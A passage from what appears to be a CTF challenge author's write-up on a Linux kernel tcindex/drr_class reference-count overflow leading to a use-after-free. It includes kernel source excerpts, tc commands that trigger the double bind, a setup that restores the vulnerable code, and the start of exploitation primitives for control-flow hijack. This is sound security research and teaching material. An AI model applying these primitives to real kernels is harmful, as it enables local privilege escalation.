<span class="n">tcf_exts_change</span><span class="p">(</span><span class="o">&</span><span class="n">r</span><span class="o">-></span><span class="n">exts</span><span class="p">,</span> <span class="o">&</span><span class="n">e</span><span class="p">);</span>
<span class="n">rcu_assign_pointer</span><span class="p">(</span><span class="n">tp</span><span class="o">-></span><span class="n">root</span><span class="p">,</span> <span class="n">cp</span><span class="p">);</span>
</code></pre></div></div>
<p>Taking the <code class="language-plaintext highlighter-rouge">drr_class</code> as an example, when a class is bound once, <code class="language-plaintext highlighter-rouge">cl->filter_cnt++</code> happens. The class address and classid are stored in <code class="language-plaintext highlighter-rouge">p->perfect[i].res</code>. Due to the change operation on tcindex, the content of <code class="language-plaintext highlighter-rouge">res</code> is discarded. Repeating the previous steps can cause the reference count <code class="language-plaintext highlighter-rouge">filter_cnt</code> of the class to increase multiple times. When the last bind causes it to overflow and loop back to 0, the corresponding class is deleted and released, however, there is still a reference to this class in <code class="language-plaintext highlighter-rouge">res</code>. After triggering <code class="language-plaintext highlighter-rouge">tcindex_classify</code> with the enqueue packet, it can cause Use After Free on this class.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">drr_class</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">Qdisc_class_common</span> <span class="n">common</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">filter_cnt</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">gnet_stats_basic_sync</span> <span class="n">bstats</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">gnet_stats_queue</span> <span class="n">qstats</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">net_rate_estimator</span> <span class="n">__rcu</span> <span class="o">*</span><span class="n">rate_est</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">list_head</span> <span class="n">alist</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">qdisc</span><span class="p">;</span>
<span class="n">u32</span> <span class="n">quantum</span><span class="p">;</span>
<span class="n">u32</span> <span class="n">deficit</span><span class="p">;</span>
<span class="p">};</span>
<span class="k">static</span> <span class="kt">int</span> <span class="nf">drr_delete_class</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg</span><span class="p">,</span>
<span class="k">struct</span> <span class="n">netlink_ext_ack</span> <span class="o">*</span><span class="n">extack</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">drr_sched</span> <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="n">qdisc_priv</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
<span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="n">cl</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="p">)</span><span class="n">arg</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cl</span><span class="o">-></span><span class="n">filter_cnt</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span>
<span class="k">return</span> <span class="o">-</span><span class="n">EBUSY</span><span class="p">;</span>
<span class="n">sch_tree_lock</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
<span class="n">qdisc_purge_queue</span><span class="p">(</span><span class="n">cl</span><span class="o">-></span><span class="n">qdisc</span><span class="p">);</span>
<span class="n">qdisc_class_hash_remove</span><span class="p">(</span><span class="o">&</span><span class="n">q</span><span class="o">-></span><span class="n">clhash</span><span class="p">,</span> <span class="o">&</span><span class="n">cl</span><span class="o">-></span><span class="n">common</span><span class="p">);</span>
<span class="n">sch_tree_unlock</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
<span class="n">drr_destroy_class</span><span class="p">(</span><span class="n">sch</span><span class="p">,</span> <span class="n">cl</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="nf">drr_bind_tcf</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">parent</span><span class="p">,</span>
<span class="n">u32</span> <span class="n">classid</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="n">cl</span> <span class="o">=</span> <span class="n">drr_find_class</span><span class="p">(</span><span class="n">sch</span><span class="p">,</span> <span class="n">classid</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cl</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="n">cl</span><span class="o">-></span><span class="n">filter_cnt</span><span class="o">++</span><span class="p">;</span>
<span class="k">return</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">cl</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">drr_unbind_tcf</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="n">cl</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="p">)</span><span class="n">arg</span><span class="p">;</span>
<span class="n">cl</span><span class="o">-></span><span class="n">filter_cnt</span><span class="o">--</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">static</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">Qdisc_class_ops</span> <span class="n">drr_class_ops</span> <span class="o">=</span> <span class="p">{</span>
<span class="p">.</span><span class="n">change</span> <span class="o">=</span> <span class="n">drr_change_class</span><span class="p">,</span>
<span class="p">.</span><span class="n">delete</span> <span class="o">=</span> <span class="n">drr_delete_class</span><span class="p">,</span>
<span class="p">.</span><span class="n">find</span> <span class="o">=</span> <span class="n">drr_search_class</span><span class="p">,</span>
<span class="p">.</span><span class="n">tcf_block</span> <span class="o">=</span> <span class="n">drr_tcf_block</span><span class="p">,</span>
<span class="p">.</span><span class="n">bind_tcf</span> <span class="o">=</span> <span class="n">drr_bind_tcf</span><span class="p">,</span>
<span class="p">.</span><span class="n">unbind_tcf</span> <span class="o">=</span> <span class="n">drr_unbind_tcf</span><span class="p">,</span>
<span class="p">.</span><span class="n">graft</span> <span class="o">=</span> <span class="n">drr_graft_class</span><span class="p">,</span>
<span class="p">.</span><span class="n">leaf</span> <span class="o">=</span> <span class="n">drr_class_leaf</span><span class="p">,</span>
<span class="p">.</span><span class="n">qlen_notify</span> <span class="o">=</span> <span class="n">drr_qlen_notify</span><span class="p">,</span>
<span class="p">.</span><span class="n">dump</span> <span class="o">=</span> <span class="n">drr_dump_class</span><span class="p">,</span>
<span class="p">.</span><span class="n">dump_stats</span> <span class="o">=</span> <span class="n">drr_dump_class_stats</span><span class="p">,</span>
<span class="p">.</span><span class="n">walk</span> <span class="o">=</span> <span class="n">drr_walk</span><span class="p">,</span>
<span class="p">};</span>
</code></pre></div></div>
<p>You might question whether it’s possible to bind the same class multiple times, as each filter bind will unbind the previous class. This essentially means that each tcindex filter can only bind the same class once. As for creating a vast number of filters to bind the same class, the kernel memory naturally cannot withstand it:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span>
<span class="nf">__tcf_bind_filter</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">q</span><span class="p">,</span> <span class="k">struct</span> <span class="n">tcf_result</span> <span class="o">*</span><span class="n">r</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">base</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">cl</span><span class="p">;</span>
<span class="n">cl</span> <span class="o">=</span> <span class="n">q</span><span class="o">-></span><span class="n">ops</span><span class="o">-></span><span class="n">cl_ops</span><span class="o">-></span><span class="n">bind_tcf</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">base</span><span class="p">,</span> <span class="n">r</span><span class="o">-></span><span class="n">classid</span><span class="p">);</span>
<span class="n">cl</span> <span class="o">=</span> <span class="n">__cls_set_class</span><span class="p">(</span><span class="o">&</span><span class="n">r</span><span class="o">-></span><span class="n">class</span><span class="p">,</span> <span class="n">cl</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cl</span><span class="p">)</span>
<span class="n">q</span><span class="o">-></span><span class="n">ops</span><span class="o">-></span><span class="n">cl_ops</span><span class="o">-></span><span class="n">unbind_tcf</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">cl</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In conclusion, one can compile a <a href="https://github.com/iproute2/iproute2/tree/main/tc">tc</a> file for local environment use with static compilation, and bind the same drr_class twice:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/ # ./tc qdisc add dev lo handle 1 root drr
/ # ./tc class add dev lo parent 1: classid 1:1 drr
/ # ./tc filter add dev lo parent 1: handle 9 prio 1 tcindex hash 16 mask 15 classid 1:1
/ # ./tc -s filter show dev lo
filter parent 1: protocol all pref 1 tcindex chain 0
filter parent 1: protocol all pref 1 tcindex chain 0 handle 0x0009 classid 1:1
/ # ./tc filter replace dev lo parent 1: prio 1 tcindex hash 8 mask 7
/ # ./tc -s filter show dev lo
filter parent 1: protocol all pref 1 tcindex chain 0
/ # ./tc filter replace dev lo parent 1: handle 9 prio 1 tcindex hash 16 mask 15 classid 1:1
/ # ./tc -s filter show dev lo
filter parent 1: protocol all pref 1 tcindex chain 0
filter parent 1: protocol all pref 1 tcindex chain 0 handle 0x0009 classid 1:1
/ # ./tc filter replace dev lo parent 1: prio 1 tcindex hash 8 mask 7
/ # ./tc -s filter show dev lo
filter parent 1: protocol all pref 1 tcindex chain 0
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ p *(struct drr_class *)arg
$1 = {
common = {
classid = 0x10001,
hnode = {
next = 0x0 <fixed_percpu_data>,
pprev = 0xffff8880058142c8
}
},
filter_cnt = 0x2,
</code></pre></div></div>
<h1>0x02 Environment</h1>
<p>If we want to convert this UAF caused by the overflow of the reference count into an actual exploitation scenario, the first thing to consider is the duration of triggering the vulnerability. For example, <a href="https://web.archive.org/web/20160122103500/http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/">CVE-2016-0728</a>, a similar issue, has a shorter triggering path, which took half an hour to run on an Intel Core i7-5500 CPU. <a href="https://web.archive.org/web/20160122103500/http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/">Issue 1423266</a>, a similar path scenario, would take at least an hour to run 20 bits. In my local test, it took 3 minutes to run 20 bits. Considering the duration of exploitation during the competition and the convenience of debugging, I decided to patch the <code class="language-plaintext highlighter-rouge">filter_cnt</code> of <code class="language-plaintext highlighter-rouge">drr_class</code> to 16 bits.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">drr_class</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">Qdisc_class_common</span> <span class="n">common</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">filter_cnt</span><span class="o">:</span><span class="mi">16</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">gnet_stats_basic_sync</span> <span class="n">bstats</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">gnet_stats_queue</span> <span class="n">qstats</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">net_rate_estimator</span> <span class="n">__rcu</span> <span class="o">*</span><span class="n">rate_est</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">list_head</span> <span class="n">alist</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">qdisc</span><span class="p">;</span>
<span class="n">u32</span> <span class="n">quantum</span><span class="p">;</span>
<span class="n">u32</span> <span class="n">deficit</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>
<p>However, if the patch is directly distributed to the contestants in the form of source code, it will instantly expose the reference count issues introduced by the patch, and instead directly call tcindex to hijack the execution flow, making it impossible to guide everyone to exploit the vulnerabilities mentioned earlier. Therefore, I chose to packet the patch in the form of vmlinux, enhancing the contestants’ understanding of the entire kernel environment. Of course, in connection with the discovered vulnerability exploitation scenarios and challenge descriptions, vmlinux can be compiled according to the provided <code class="language-plaintext highlighter-rouge">.config</code>, quickly bindiffing the patch points:</p>
<p><img src="https://image.baidu.com/search/down?url=https://wx3.sinaimg.cn/large/ee2fecafly1hme18lb0kmj21ws0g6gs0.jpg" alt="" /></p>
<p>As we need to incorporate the deleted <code class="language-plaintext highlighter-rouge">cls_tcindex.c</code> file, I choose the <a href="https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.72.tar.xz">6.1.72</a> kernel source code here, and introduce the patch in reverse:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/patch/?id<span class="o">=</span>b93aeb6352b0229e3c5ca5ca4ff015b015aff33c <span class="nt">-O</span> rsvp.patch
patch <span class="nt">-p1</span> <span class="nt">-R</span> < rsvp.patch
wget https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/patch/?id<span class="o">=</span>3abebc503a5148072052c229c6b04b329a420ecd <span class="nt">-O</span> tcindex.patch
patch <span class="nt">-p1</span> <span class="nt">-R</span> < tcindex.patch
wget https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/patch/?id<span class="o">=</span>97e3d26b5e5f371b3ee223d94dd123e6c442ba80 <span class="nt">-O</span> CPU-entry-area.patch
patch <span class="nt">-p1</span> < CPU-entry-area.patch
</code></pre></div></div>
<p>Regarding the <code class="language-plaintext highlighter-rouge">.config</code> file and runtime environment, refer to the relevant <a href="https://github.com/google/security-research/blob/master/kernelctf/build_release.sh">build</a> and <a href="https://github.com/google/security-research/blob/master/kernelctf/simulator/local_runner.sh">local run</a> scripts of kernelCTF. For the kernel’s security mechanisms, they should be maximally enabled. I have disabled <code class="language-plaintext highlighter-rouge">CONFIG_IO_URING</code>, <code class="language-plaintext highlighter-rouge">CONFIG_NETFILTER</code>, <code class="language-plaintext highlighter-rouge">CONFIG_NET_CLS_ACT</code> (indirectly disabling the <a href="https://starlabs.sg/blog/2023/06-breaking-the-code-exploiting-and-examining-cve-2023-1829-in-cls_tcindex-classifier-vulnerability/#vulnerability-analysis">original issue</a> of CVE-2023-1829) and the redundant <code class="language-plaintext highlighter-rouge">CONFIG_NET_CLS_*</code>. In addition, I have also disabled <a href="https://github.com/smallkirby/kernelpwn/blob/master/technique/modprobe_path.md">modprobe_path</a> and <a href="https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-3776_lts/docs/exploit.md#put-payload-in-fixed-kernel-address-cve-2023-0597">cpu_entry_area</a> tricks. Lastly, as there are some tc exploit codes available for <a href="https://github.com/star-sg/CVE/blob/master/CVE-2023-1829/src/cls.c">reference</a>, the <code class="language-plaintext highlighter-rouge">time_limit</code> of <a href="https://github.com/google/nsjail">nsjail</a> has been adjusted to 120 seconds to test everyone’s programming abilities.</p>
<h1>0x03 Exploitation</h1>
<h2>primitive</h2>
<p>In abstracting the vulnerability scenario, it is possible to perform UAF on the <code class="language-plaintext highlighter-rouge">drr_class</code> kmalloc-128 object multiple times. In the context of the kernel code, it is known that there is a primitive for arbitrary address call, <a href="https://elixir.bootlin.com/linux/v6.1.72/source/net/sched/sch_drr.c#L331"><code class="language-plaintext highlighter-rouge">drr_enqueue</code></a> -> <a href="https://elixir.bootlin.com/linux/v6.1.72/source/net/sched/sch_drr.c#L293"><code class="language-plaintext highlighter-rouge">drr_classify</code></a> obtains the drr_class object after free, that is, the address of the class in the corresponding res specified by <code class="language-plaintext highlighter-rouge">skb->tc_index</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">tcindex_classify</span><span class="p">(</span><span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">,</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">tcf_proto</span> <span class="o">*</span><span class="n">tp</span><span class="p">,</span>
<span class="k">struct</span> <span class="n">tcf_result</span> <span class="o">*</span><span class="n">res</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">tcindex_data</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="n">rcu_dereference_bh</span><span class="p">(</span><span class="n">tp</span><span class="o">-></span><span class="n">root</span><span class="p">);</span>
<span class="k">struct</span> <span class="n">tcindex_filter_result</span> <span class="o">*</span><span class="n">f</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">key</span> <span class="o">=</span> <span class="p">(</span><span class="n">skb</span><span class="o">-></span><span class="n">tc_index</span> <span class="o">&</span> <span class="n">p</span><span class="o">-></span><span class="n">mask</span><span class="p">)</span> <span class="o">>></span> <span class="n">p</span><span class="o">-></span><span class="n">shift</span><span class="p">;</span>
<span class="n">pr_debug</span><span class="p">(</span><span class="s">"tcindex_classify(skb %p,tp %p,res %p),p %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
<span class="n">skb</span><span class="p">,</span> <span class="n">tp</span><span class="p">,</span> <span class="n">res</span><span class="p">,</span> <span class="n">p</span><span class="p">);</span>
<span class="n">f</span> <span class="o">=</span> <span class="n">tcindex_lookup</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">key</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">f</span><span class="p">)</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="n">tcf_block_q</span><span class="p">(</span><span class="n">tp</span><span class="o">-></span><span class="n">chain</span><span class="o">-></span><span class="n">block</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">p</span><span class="o">-></span><span class="n">fall_through</span><span class="p">)</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="n">res</span><span class="o">-></span><span class="n">classid</span> <span class="o">=</span> <span class="n">TC_H_MAKE</span><span class="p">(</span><span class="n">TC_H_MAJ</span><span class="p">(</span><span class="n">q</span><span class="o">-></span><span class="n">handle</span><span class="p">),</span> <span class="n">key</span><span class="p">);</span>
<span class="n">res</span><span class="o">-></span><span class="n">class</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">pr_debug</span><span class="p">(</span><span class="s">"alg 0x%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">res</span><span class="o">-></span><span class="n">classid</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="o">*</span><span class="n">res</span> <span class="o">=</span> <span class="n">f</span><span class="o">-></span><span class="n">res</span><span class="p">;</span>
<span class="n">pr_debug</span><span class="p">(</span><span class="s">"map 0x%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">res</span><span class="o">-></span><span class="n">classid</span><span class="p">);</span>
<span class="k">return</span> <span class="n">tcf_exts_exec</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="o">&</span><span class="n">f</span><span class="o">-></span><span class="n">exts</span><span class="p">,</span> <span class="n">res</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The subsequent <code class="language-plaintext highlighter-rouge">qdisc_enqueue</code> will then call <code class="language-plaintext highlighter-rouge">cl->qdisc->enqueue</code>. As long as the content referenced by <code class="language-plaintext highlighter-rouge">cl</code>’s two layers is controllable, it is possible to hijack the execution flow to perform ROP:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">drr_enqueue</span><span class="p">(</span><span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">,</span> <span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span>
<span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">**</span><span class="n">to_free</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">len</span> <span class="o">=</span> <span class="n">qdisc_pkt_len</span><span class="p">(</span><span class="n">skb</span><span class="p">);</span>
<span class="k">struct</span> <span class="n">drr_sched</span> <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="n">qdisc_priv</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
<span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="n">cl</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">err</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">bool</span> <span class="n">first</span><span class="p">;</span>
<span class="n">cl</span> <span class="o">=</span> <span class="n">drr_classify</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">sch</span><span class="p">,</span> <span class="o">&</span><span class="n">err</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cl</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">err</span> <span class="o">&</span> <span class="n">__NET_XMIT_BYPASS</span><span class="p">)</span>
<span class="n">qdisc_qstats_drop</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
<span class="n">__qdisc_drop</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">to_free</span><span class="p">);</span>
<span class="k">return</span> <span class="n">err</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">first</span> <span class="o">=</span> <span class="o">!</span><span class="n">cl</span><span class="o">-></span><span class="n">qdisc</span><span class="o">-></span><span class="n">q</span><span class="p">.</span><span class="n">qlen</span><span class="p">;</span>
<span class="n">err</span> <span class="o">=</span> <span class="n">qdisc_enqueue</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">cl</span><span class="o">-></span><span class="n">qdisc</span><span class="p">,</span> <span class="n">to_free</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">err</span> <span class="o">!=</span> <span class="n">NET_XMIT_SUCCESS</span><span class="p">))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">net_xmit_drop_count</span><span class="p">(</span><span class="n">err</span><span class="p">))</span> <span class="p">{</span>
<span class="n">cl</span><span class="o">-></span><span class="n">qstats</span><span class="p">.</span><span class="n">drops</span><span class="o">++</span><span class="p">;</span>
<span class="n">qdisc_qstats_drop</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">err</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="kt">int</span> <span class="nf">qdisc_enqueue</span><span class="p">(</span><span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">,</span> <span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span>
<span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">**</span><span class="n">to_free</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">qdisc_calculate_pkt_len</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">sch</span><span class="p">);</span>
<span class="k">return</span> <span class="n">sch</span><span class="o">-></span><span class="n">enqueue</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">sch</span><span class="p">,</span> <span class="n">to_free</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Most write-ups related to kernelCTF and TC do not mention the primitive of <code class="language-plaintext highlighter-rouge">tcf_unbind_filter</code>. After freeing the drr_class object, there are hardly any directly related primitives in <code class="language-plaintext highlighter-rouge">sch_drr.c</code>. It still has to be linked with res and only the operation of <code class="language-plaintext highlighter-rouge">tcf_unbind_filter</code> (reachable through several paths such as delete) is left in <code class="language-plaintext highlighter-rouge">cls_tcindex.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span>
<span class="nf">__tcf_unbind_filter</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">q</span><span class="p">,</span> <span class="k">struct</span> <span class="n">tcf_result</span> <span class="o">*</span><span class="n">r</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">cl</span><span class="p">;</span>
<span class="k">if</span> <span class="p">((</span><span class="n">cl</span> <span class="o">=</span> <span class="n">__cls_set_class</span><span class="p">(</span><span class="o">&</span><span class="n">r</span><span class="o">-></span><span class="n">class</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">q</span><span class="o">-></span><span class="n">ops</span><span class="o">-></span><span class="n">cl_ops</span><span class="o">-></span><span class="n">unbind_tcf</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">cl</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span>
<span class="nf">tcf_unbind_filter</span><span class="p">(</span><span class="k">struct</span> <span class="n">tcf_proto</span> <span class="o">*</span><span class="n">tp</span><span class="p">,</span> <span class="k">struct</span> <span class="n">tcf_result</span> <span class="o">*</span><span class="n">r</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="n">tp</span><span class="o">-></span><span class="n">chain</span><span class="o">-></span><span class="n">block</span><span class="o">-></span><span class="n">q</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">q</span><span class="p">)</span>
<span class="k">return</span><span class="p">;</span>
<span class="n">__tcf_unbind_filter</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">r</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">drr_unbind_tcf</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="n">cl</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="p">)</span><span class="n">arg</span><span class="p">;</span>
<span class="n">cl</span><span class="o">-></span><span class="n">filter_cnt</span><span class="o">--</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>After transitioning through <code class="language-plaintext highlighter-rouge">tcindex_delete</code> -> <code class="language-plaintext highlighter-rouge">tcf_unbind_filter</code> -> <code class="language-plaintext highlighter-rouge">drr_unbind_tcf</code>, the filter_cnt at offset 24 will be decremented by 1:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ ptype /o struct drr_class
/* offset | size */ type = struct drr_class {
/* 0 | 24 */ struct Qdisc_class_common {
/* 0 | 4 */ u32 classid;
/* XXX 4-byte hole */
/* 8 | 16 */ struct hlist_node {
/* 8 | 8 */ struct hlist_node *next;
/* 16 | 8 */ struct hlist_node **pprev;
/* total size (bytes): 16 */
} hnode;
/* total size (bytes): 24 */
} common;
/* 24: 0 | 4 */ unsigned int filter_cnt : 16;
/* XXX 6-byte hole */
/* 32 | 16 */ struct gnet_stats_basic_sync {
/* 32 | 8 */ u64_stats_t bytes;
/* 40 | 8 */ u64_stats_t packets;
/* 48 | 0 */ struct u64_stats_sync {
<no data fields>
/* total size (bytes): 0 */
} syncp;
/* total size (bytes): 16 */
} bstats;
/* 48 | 20 */ struct gnet_stats_queue {
/* 48 | 4 */ __u32 qlen;
/* 52 | 4 */ __u32 backlog;
/* 56 | 4 */ __u32 drops;
/* 60 | 4 */ __u32 requeues;
/* 64 | 4 */ __u32 overlimits;
/* total size (bytes): 20 */
} qstats;
/* XXX 4-byte hole */
/* 72 | 8 */ struct net_rate_estimator *rate_est;
/* 80 | 16 */ struct list_head {
/* 80 | 8 */ struct list_head *next;
/* 88 | 8 */ struct list_head *prev;
/* total size (bytes): 16 */
} alist;
/* 96 | 8 */ struct Qdisc *qdisc;
/* 104 | 4 */ u32 quantum;
/* 108 | 4 */ u32 deficit;
/* total size (bytes): 112 */
}
</code></pre></div></div>
